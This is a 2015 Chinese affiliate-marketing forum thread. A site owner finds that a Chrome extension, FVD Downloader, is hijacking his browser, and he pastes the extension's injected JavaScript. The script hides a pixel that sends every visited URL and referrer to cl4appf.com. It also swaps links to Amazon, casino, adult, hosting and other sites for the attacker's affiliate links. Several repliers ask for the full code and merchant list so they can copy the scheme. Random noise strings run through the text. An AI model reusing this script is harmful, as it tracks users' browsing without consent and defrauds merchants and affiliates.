这个是什么鬼？我被CS了吗？

sohorich

8 J& ~1 j' c* _/ U3 S, Y3 y我的安装CPVLab的站，每次访问我发觉chrome的底下有一个奇怪的跳转域名：

1. http://cl4appf.com/

复制代码

- R# F7 z5 M% M* E" F我就奇了怪了，这个域名跟我毛关系都没有啊，这么会要经过它呢？
我Google了一下它，发现它一个页面，代码很奇怪。

1. http://cl4appf.com/trackingcode?browser=chrome&source=fvd_downloader

复制代码

, ]2 e0 F1 X- u4 h+ e" d/ O5 T我是技术小白，看不懂，求各位技术大拿给我看看是怎么回事？
3 ]0 Z: r' L+ A) R我还注意到，他这个文件里有代码：
; u: }+ ?  {; M. f2 E3 \  B5 C

1. \ 'www.amazon.com': 'http://www.amazon.com/?tag=localmart-20',

复制代码

而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。

# k& i, L+ T: k/ w" o; Y我真是头大了。我的问题是：
1、这个域名是个什么东西？
6 L# Y6 C# j; G8 I2、我访问我自己的站为什么会经过他来跳转？它是在我网站的服务器里安装了什么东西吗？
3、还是它只是在我电脑里安装了啥？
! v1 y. H4 A$ }) A, O/ B8 m/ J
9 |8 R8 ~( p/ I- K( g7 a; I4、怎么解决这个鬼东西？

/ z4 I( Q0 q5 w+ c7 ]谢谢各位。有准确答案的，给予5个论坛币奖励。
% I! j# ]- L1 ~& m0 u% k
  u: @7 @( |" [% H需要提供进一步信息的，请跟帖。我实在是不懂，不知道需要提供什么。
最后更新：
, d- U- m- G$ U# ~$ Y
, R0 _+ X& ^4 L5 A谢谢各位。终于确定了元凶，是一个叫 “FVD Downloader”的视频下载chrome插件。不是那个Bulk seo tools。有兴趣的同学可以去研究一下。

imbian

5 m) q5 }. i- e5 F# |$ S; n
抓个包试试。
感觉跟你电脑有关系。。是不是chrome装了被黑过的插件。
+ {; g, o( T2 Z) D4 |1 h. j% P2 J

sohorich

为了大家方便看，我把他那个页面的代码贴一下：
0 j+ L8 M) V: ?# ?: C0 Q. k/ l0 I

1. var script = document.createElement('script'); script.innerHTML = "\ (function(){\ var libs = function() {\ var disabled = ['localhost', 'docs.google.com'],\ google = ['www.google.com.ua', 'www.google.cl', 'www.google.com.lb', 'www.google.com', 'www.google.ru', 'www.google.com.vn', 'www.google.co.in', 'www.google.be', 'www.google.com.my', 'www.google.com.ph', 'www.google.com.bd', 'www.google.ps', 'www.google.com.br', 'www.google.ba', 'www.google.fr', 'www.google.pt', 'www.google.com.ar', 'www.google.com.pe', 'www.google.am', 'www.google.com.bo', 'www.google.com.pk', 'www.google.co.id', 'www.google.az', 'www.google.de', 'www.google.com.np', 'www.google.it', 'www.google.hu', 'www.google.com.co', 'www.google.com.mx', 'www.google.com.eg', 'www.google.ro', 'www.google.com.au', 'www.google.ae', 'www.google.no', 'www.google.nl', 'www.google.ge', 'www.google.tn', 'www.google.kz', 'www.google.by', 'www.google.co.uk', 'www.google.es', 'www.google.pl', 'www.google.com.tr', 'www.google.co.jp', 'www.google.com.jm', 'www.google.co.kr', 'www.google.cz', 'www.google.co.ve', 'www.google.com.gt', 'www.google.rs', 'www.google.co.th', 'www.google.at', 'www.google.mg', 'www.google.com.do', 'www.google.com.sa', 'www.google.com.ly', 'www.google.lk', 'www.google.sk', 'www.google.md', 'www.google.ie', 'www.google.com.tw', 'www.google.com.ni', 'www.google.fi', 'www.google.com.sv', 'www.google.dk', 'www.google.co.za', 'www.google.iq', 'www.google.si', 'www.google.ee', 'www.google.so', 'www.google.gr', 'www.google.com.cy', 'www.google.com.uy', 'www.google.dz', 'www.google.hn', 'www.google.co.cr', 'www.google.com.et', 'www.google.com.kh', 'www.google.com.ec', 'www.google.ca', 'www.google.com.hk', 'www.google.la', 'www.google.com.sg', 'www.google.bg', 'www.google.se', 'www.google.com.kw', 'www.google.co.ma', 'www.google.com.pa', 'www.google.com.qa', 'www.google.ch', 'www.google.com.om', 'www.google.co.il', 'www.google.lt', 'www.google.ci', 'www.google.com.bn'];\ \ var setCookie = function(name, value, expires, path, domain, secure) {\ var setExpiration = function(cookieLife) {\ var today = new Date();\ var expr = new Date(today.getTime() + cookieLife);\ return expr.toGMTString();\ };\ \ var cookieStr = name + '=' + escape(value) + '; ';\ \ if (expires) {\ expires = setExpiration(expires);\ cookieStr += 'expires=' + expires + '; ';\ }\ if (path) {\ cookieStr += 'path=' + path + '; ';\ }\ if (domain) {\ cookieStr += 'domain=' + domain + '; ';\ }\ if (secure) {\ cookieStr += 'secure; ';\ }\ \ document.cookie = cookieStr;\ };\ \ return {\ getCookie: function(w) {\ var cName = '',\ pCOOKIES = document.cookie.split('; ');\ for (var bb = 0; bb < pCOOKIES.length; bb++) {\ var NmeVal = pCOOKIES[bb].split('=');\ if (NmeVal[0] === w) {\ cName = unescape(NmeVal[1]);\ }\ }\ return cName;\ },\ setCookie: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 24 * 60 * 60 * 1000, path, domain, secure);\ },\ setCookieSeconds: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 1000, path, domain, secure);\ },\ insertPixel: function(url) {\ var pixel = document.createElement('img');\ pixel.src = url;\ pixel.style.position = 'absolute';\ pixel.style.top = '-9999px';\ pixel.style.left = '-9999px';\ document.body.appendChild(pixel);\ },\ isDisabled: function() {\ return (disabled.indexOf(window.location.host) >= 0);\ },\ isGoogle: function() {\ return (google.indexOf(window.location.host) >= 0);\ }\ };\ }();\ \ if (libs.isDisabled()) return;\ \ libs.insertPixel('http://cl4appf.com/x.gif?url='+encodeURIComponent(window.location.href)+'&ref='+encodeURIComponent(document.referrer));\ \ (function(){\ var sites = {\ '2vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'bestvulkan.org': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'casino.bet365.com': 'http://casino.bet365.com?affiliate=GM_00009434',\ 'casino.bet365.es': 'http://casino.bet365.com?affiliate=GM_00009435',\ 'club-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan.net': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan-slots.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'gold-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'ikvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'lp.vulkantrade.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'myvulkan.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'playvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'play-vulkan-casino.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'vulkancasino.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'vulkanclub.com': 'http://gomakemerich.com/?s=4&ref=wp_w527r273772p4_vclkads&url',\ 'www.amazon.com': 'http://www.amazon.com/?tag=localmart-20',\ 'www.ashleymadison.com': 'https://www.ashleymadison.com/A114080',\ 'www.ashleyrnadison.com': 'http://www.ashleyrnadison.com/A114080',\ 'www.sexy.com': 'http://crtracklink.com/go/OgX_bnwHp_lzkv/DEFAULT',\ 'www.slutroulette.com': 'http://crtracklink.com/go/dP_btbDX_lzkv/DEFAULT',\ 'www.exposedwebcams.com': 'http://crtracklink.com/go/dv_bnv8C_lzkv/DEFAULT',\ 'www.sexmatchbook.com': 'http://crtracklink.com/go/bquHm_lzkv/DEFAULT',\ 'www.myfreecams.com': 'http://crtracklink.com/go/nLKbP_lzkv/DEFAULT',\ 'www.punishtube.com': 'http://crtracklink.com/go/sJ_bnxeG_lzkv/DEFAULT',\ 'www.jpcamsexposed.com': 'http://crtracklink.com/go/N03_bnoNy_lzkv/DEFAULT',\ 'www.jpcams.com': 'http://crtracklink.com/go/Il_bp6sb_lzkv/DEFAULT',\ 'www.sondageporno.com': 'http://crtracklink.com/go/bW_bnmbz_lzkv/DEFAULT',\ 'www.freelifetimefuckbook.com': 'http://crtracklink.com/go/nSnxv_lzkv/DEFAULT',\ 'www.easydatingexposed.com': 'http://crtracklink.com/go/nIqvZ_lzkv/DEFAULT',\ 'www.pornoviolente.com': 'http://crtracklink.com/go/nV34d_lzkv/DEFAULT',\ 'www.sexeviolent.com': 'http://crtracklink.com/go/boDNc_lzkv/DEFAULT',\ 'www.jizzroulette.com': 'http://crtracklink.com/go/nB6c2_lzkv/DEFAULT',\ 'www.gaycamsexposed.com': 'http://crtracklink.com/go/nGk03_lzkv/DEFAULT',\ 'www.dafuckbook.com': 'http://crtracklink.com/go/hs5K_lzkv/DEFAULT',\ 'www.jetztgleichficken.com': 'http://crtracklink.com/go/nA3sz_lzkv/DEFAULT',\ 'www.sexdateportaal.nl': 'http://crtracklink.com/go/nIx8h_lzkv/DEFAULT',\ 'unasveltina.com': 'http://crtracklink.com/go/nGW6v_lzkv/DEFAULT',\ 'free.大人camfriend.com': 'http://crtracklink.com/go/nT2nq_lzkv/DEFAULT',\ 'www.camgratuite.com': 'http://crtracklink.com/go/nxCar_lzkv/DEFAULT',\ 'www.connectcams.nl': 'http://crtracklink.com/go/bqQUq_lzkv/DEFAULT',\ 'www.gayfreefun.net': 'http://crtracklink.com/go/nF1Yk_lzkv/DEFAULT',\ 'www.livefreefun.net': 'http://crtracklink.com/go/nAZEq_lzkv/DEFAULT',\ 'www.webcamshispanas.com': 'http://crtracklink.com/go/nBeS0_lzkv/DEFAULT',\ 'freexxxapp.com': 'http://crtracklink.com/go/ntN1r_lzkv/DEFAULT',\ 'es.cumlouder.com': 'http://crtracklink.com/go/boWPV_lzkv/DEFAULT',\ 'www.dapink.com': 'http://crtracklink.com/go/nBqjr_lzkv/DEFAULT',\ 'www.gayweb-tv.com': 'http://crtracklink.com/go/bsSBd_lzkv/DEFAULT',\ 'www.xcopines.com': 'http://crtracklink.com/go/bsOM4_lzkv/DEFAULT',\ 'www.testopure.com': 'http://crtracklink.com/go/nI6pA_lzkv/DEFAULT',\ 'www.24option.com': 'http://option.go2jump.org/SHSH8O',\ 'www.hostgator.com': 'http://www.kqzyfj.com/click-7655081-10408481?sid=red',\ 'www.godaddy.com': 'http://www.anrdoezrs.net/click-7655081-10378406',\ 'beyondhosting.net': 'http://www.tkqlhce.com/click-7655081-12005107',\ 'www.bose.de': 'http://www.dpbolvw.net/click-7655081-11913589',\ 'www.optionrally.com': 'http://go.wepayaffiliates.com/visit/?brand=OptionRally&bta=37550',\ 'travelata.ru': 'http://ad.admitad.com/goto/c065a61a6b846286ae03e617d5ef08/?subid=red',\ 'migcredit.ru': 'https://ad.admitad.com/goto/f6515a4c17846286ae036f1a920894/',\ 'www.iqcard.ru': 'https://ad.admitad.com/goto/0761bbbe17846286ae03a0b94ccf7b/',\ 'www.ezaem.ru': 'https://ad.admitad.com/goto/5f9807d2ec846286ae03566691beec/',\ 'astia.ru': 'https://ad.admitad.com/goto/797436df6e846286ae03a25564ddb0/',\ 'www.westwing.ru': 'https://ad.admitad.com/goto/ee438bee19846286ae033ca867e363/',\ 'platiza.ru': 'https://ad.admitad.com/goto/0062948c6b846286ae0302f107ff4c/',\ 'shop.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'www.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'go.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary50.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary-banks.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'eu.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=268&aff_id=7818',\ 'mega.co.nz': 'https://mega.co.nz/#pro/4Rh0Xbga',\ 'www.belkin.co.uk': 'http://www.jdoqocy.com/click-7655081-11980865',\ 'www.ebags.com': 'http://www.dpbolvw.net/click-7655081-10656249'\ },\ map = {\ 'parimatch.com': 'parimatch',\ 'partners.parimatch.com': 'parimatch',\ 'start.parimatchru.com': 'parimatch',\ 'www.bet365.com': 'bet365',\ 'www.bet365.com.au': 'bet365',\ 'www.bet365.dk': 'bet365-dk',\ 'www.bet365.es': 'bet365-es',\ 'www.bet365.gr': 'bet365-gr',\ 'www.booking.com': 'booking',\ 'www.parimatch.by': 'parimatch',\ 'www.parimatch.com': 'parimatch'\ },\ rules = {\ 'bet365':[\ {p:'^(.*)\\\\baffiliate=([^&]+)(.*)
   ' {& ]+ d9 @0 \0 A) k* L5 v
2. 
   3 Q2 z  M( g6 J6 v+ L
3. ...........

复制代码

太长了，没贴完. 后面还有。

backmao

明显被CS了 这就是aff的ID localmart-20

sohorich

backmao 发表于 2015-8-18 16:25
+ V6 ^9 H# @8 I  l. \明显被CS了 这就是aff的ID localmart-20

) P5 _/ q% H. t怎么办？

可以提供证据向amazon举报

windflower

很好奇是怎么被CS的

河小马

LZ 你的 cpvlab 是正版的不？

% c: I6 @) L$ {! M3 M; Q6 O, f你被cs 了这么多的商家。。真是狠啊。。

河小马

求楼主把代码发完。。。让我们也抄一下代码。。。和广告主

c21xdx

大批可CS的商家 get  ， 同求发代码

lessin

河小马 发表于 2015-8-18 18:04
3 w' C7 j* J8 R* X6 {; {5 l! {8 X; K( n求楼主把代码发完。。。让我们也抄一下代码。。。和广告主

# V" Z. K. K" ^) o; C' x' B! {; h访问这个不是代码吗？http://cl4appf.com/trackingcode? ... urce=fvd_downloader

蜘蛛

能查到邮箱，给他发邮件，要求精神损失费。不给就举报

imbian

“而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。; ”

这个跟你cpvlab没关系吧，你清下cookie试试，还会访问别人的链接不。。

sohorich

河小马 发表于 2015-8-18 17:59
LZ 你的 cpvlab 是正版的不？

5 Q) w! i7 \+ d你被cs 了这么多的商家。。真是狠啊。。

是正版的。但买了以后没升级过。

sohorich

imbian 发表于 2015-8-18 20:01
3 _- {7 ~. h2 W% b$ j0 j“而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。; ”

. w5 {' m8 i% W% c/ [, w这个跟你cpvlab没关系吧 ...

清过N次Cookie了，没用。